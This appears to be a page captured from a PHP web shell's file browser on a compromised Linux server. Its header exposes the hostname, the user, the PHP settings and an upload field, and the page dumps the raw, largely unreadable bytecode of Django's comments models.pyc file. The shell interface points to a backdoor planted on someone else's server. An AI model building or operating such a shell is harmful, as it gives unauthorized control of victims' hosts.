https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/comments/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/comments/models.pyc
�
r�\c@s
ddlmZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZeedd�Zd
e
jfd��YZedefd��Y�Zede
jfd��Y�ZdS(i����(tsettings(tCommentManager(tgeneric(tContentType(tSite(turlresolvers(tmodels(t
ugettext_lazy(ttimezone(tpython_2_unicode_compatibletCOMMENT_MAX_LENGTHi�tBaseCommentAbstractModelcBs�eZdZejeded�dd�Zejed��Z	e
jdddd	�Zeje
�Zd
d
d��YZd�ZRS(s]
    An abstract base class that any custom comment models probably should
    subclass.
    tverbose_namescontent typetrelated_namescontent_type_set_for_%(class)ss	object IDtct_fieldtcontent_typetfk_fieldt	object_pktMetacBseZeZRS((t__name__t
__module__tTruetabstract(((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyRscCstjdd|j|jf�S(sK
        Get a URL suitable for redirecting to the content object.
        scomments-url-redirecttargs(Rtreversetcontent_type_idR(tself((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pytget_content_object_url"s((RRt__doc__Rt
ForeignKeyRt_Rt	TextFieldRRtGenericForeignKeytcontent_objectRtsiteRR(((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyRs	tCommentc
BseZdZejejded�dededd�Z	ej
ed�dd	de�Zejed
�de�Z
ejed�de�Zejed�de�Zejed
�dd(�Zejed�dedede�Zejed�deded��Zejed�deded��Ze�Zdd)d��YZd�Zd�Z d�Z!e"e!de!j�Z#d�Z$d�Z%e"e$e%dd�Z&d�Z'd �Z(e"e'e(dd!�Z)d"�Z*d#�Z+e"e*e+dd$�Z,d%d&�Z-d'�Z.RS(*s+
    A user comment about some object.
    RtusertblanktnullR
s%(class)s_commentssuser's namet
max_lengthi2suser's email addresss
user's URLtcommentsdate/time submittedtdefaults
IP addresstunpack_ipv4s	is publict	help_textsIUncheck this box to make the comment effectively disappear from the site.s
is removedstCheck this box if the comment is inappropriate. A "This comment has been removed" message will be displayed instead.RcBs5eZdZdZdgZed�Zed�ZRS(tdjango_commentstsubmit_datetcan_moderatesCan moderate commentsR(tcomments(ssubmit_date(R.sCan moderate comments(RRtdb_tabletorderingtpermissionsRRtverbose_name_plural(((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyRKs
	cCsd|j|jd fS(Ns	%s: %s...i2(tnameR((R((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyt__str__RscOs>|jdkr!tj�|_ntt|�j||�dS(N(R-tNoneRtnowtsuperR#tsave(RRtkwargs((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyR9UscCs�t|d�s�i|jd6|jd6|jd6}|jr�|j}|jr^|j|d<n|j�r�|jj�|d<q�|js�|j�|d<q�n||_	n|j	S(s�
        Get a dictionary that pulls together information about the poster
        safely for both authenticated and non-authenticated comments.

        This dict will have ``name``, ``email``, and ``url`` fields.
        t	_userinfoR4temailturl(
thasattrt	user_namet
user_emailtuser_urltuser_idR$R<t
get_full_nametget_usernameR;(Rtuserinfotu((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyt
_get_userinfoZs


				tdoccCs|jdS(NR4(RE(R((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyt	_get_namewscCs+|jrttd���n||_dS(NsPThis comment was posted by an authenticated user and thus the name is read-only.(RBtAttributeErrorRR?(Rtval((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyt	_set_namezs	s,The name of the user who posted this commentcCs|jdS(NR<(RE(R((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyt
_get_email�scCs+|jrttd���n||_dS(NsQThis comment was posted by an authenticated user and thus the email is read-only.(RBRJRR@(RRK((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyt
_set_email�s	s-The email of the user who posted this commentcCs|jdS(NR=(RE(R((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyt_get_url�scCs
||_dS(N(RA(RRK((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyt_set_url�ss1The URL given by the user who posted this comments#c%(id)scCs|j�||jS(N(Rt__dict__(Rtanchor_pattern((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pytget_absolute_url�scCsUi|jp|jd6|jd6|jd6|jjd6|j�d6}td�|S(sH
        Return this comment as plain text.  Useful for emails.
        R$tdateR(tdomainR=sEPosted by %(user)s at %(date)s

%(comment)s

http://%(domain)s%(url)s(R$R4R-R(R"RURSR(Rtd((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pytget_as_text�s


N((/RRRRRRtAUTH_USER_MODELRRR$t	CharFieldR?t
EmailFieldR@tURLFieldRARR
R(t
DateTimeFieldR6R-tGenericIPAddressFieldt
ip_addresstBooleanFieldt	is_publictFalset
is_removedRtobjectsRR5R9RGtpropertyRERIRLR4RMRNR<RORPR=RSRW(((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyR#,s<!'										tCommentFlagcBs�eZdZejejded�dd�Zeje	ded�dd�Z
ejed�dd	d
e�Z
ejed�dd�Zd
ZdZdZddd��YZd�Zd�ZRS(s�
    Records a flag on a comment. This is intentionally flexible; right now, a
    flag could be:

        * A "removal suggestion" -- where a user suggests a comment for (potential) removal.

        * A "moderator deletion" -- used when a moderator deletes a comment.

    You can (ab)use this model to add other flags, if needed. However, by
    design users are only allowed to flag a comment with a given flag once;
    if you want rating look elsewhere.
    RR$R
t
comment_flagsR(tflagstflagR'itdb_indexRTR)sremoval suggestionsmoderator deletionsmoderator approvalRcBs/eZdZdgZed�Zed�ZRS(tdjango_comment_flagsR$R(Rhscomment flags
comment flags(suserscommentsflag(RRR0tunique_togetherRRR3(((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyR�s	cCs d|j|j|jj�fS(Ns%s flag of comment ID %s by %s(Rht
comment_idR$RD(R((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyR5�scOs>|jdkr!tj�|_ntt|�j||�dS(N(t	flag_dateR6RR7R8ReR9(RRR:((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyR9�sN((RRRRRRRXRR$R#R(RYRRhR\R6RmtSUGGEST_REMOVALtMODERATOR_DELETIONtMODERATOR_APPROVALRR5R9(((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyRe�s
$!!	N(tdjango.confRt django.contrib.comments.managersRtdjango.contrib.contenttypesRt"django.contrib.contenttypes.modelsRtdjango.contrib.sites.modelsRtdjango.coreRt	django.dbRtdjango.utils.translationRRtdjango.utilsRtdjango.utils.encodingR	tgetattrR
tModelRR#Re(((s@/tmp/pip-install-XxeQeY/django/django/contrib/comments/models.pyt<module>sv

https://t.me/AnonymousX5 - 2025